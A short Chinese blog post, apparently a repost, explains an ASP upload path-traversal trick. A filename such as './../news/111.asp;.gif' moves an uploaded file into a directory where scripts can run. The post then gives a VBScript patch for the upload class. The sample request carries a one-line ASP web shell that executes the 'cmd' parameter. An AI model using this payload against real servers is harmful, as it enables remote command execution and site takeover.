有的时候碰到一种上传情况,上传之后的目录已经被程序定义好了,而这个目录没有脚本执行权限,所以我们要想办法传到一个其他有权限的目录,算上今天这篇,好像看到三篇关于这个事情的文章了,都差不多。整理一下
这个是有条件的,其实就是asp上传类的代码问题:
1.不更改上传文件名
2.像无惧那样没考虑 / 的情况
下面一个包:
-----------------------------7da290150c5e
Content-Disposition: form-data; name="file1"; filename="E:\xxx\xxx\xx\111.asp;.gif"
Content-Type: text/plain
<%execute(request("cmd"))%>
......
filename是判断filename里的最右边的一个"\"以后的就是文件名字了。所以,这样构造:
Content-Disposition: form-data; name="file1"; filename="E:\xxx\xxx\xx\./../news/111.asp;.gif"
这样程序就会把 ./../news/111.asp;.gif当作文件名处理了,然后保存文件到上一级的news文件夹下了。
修补方法:
iFindStart = InStr (iFindEnd,sInfo,"filename=""",1)+10
iFindEnd = InStr (iFindStart,sInfo,"""",1)
sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
sFileName = Replace (sFileName,"/","\") // 修补方法 加上这句即可
oFileInfo.FileName = Mid (sFileName,InStrRev (sFileName, "\")+1)
oFileInfo.FilePath = Left (sFileName,InStrRev (sFileName, "\"))
更多:
http://www.t00ls.net/viewthread.php?tid=12603&extra=&page=1
http://hi.baidu.com/kashifs/blog/item/0900fc01845e65783812bb12.html
转载于:https://blog.51cto.com/obnus/421376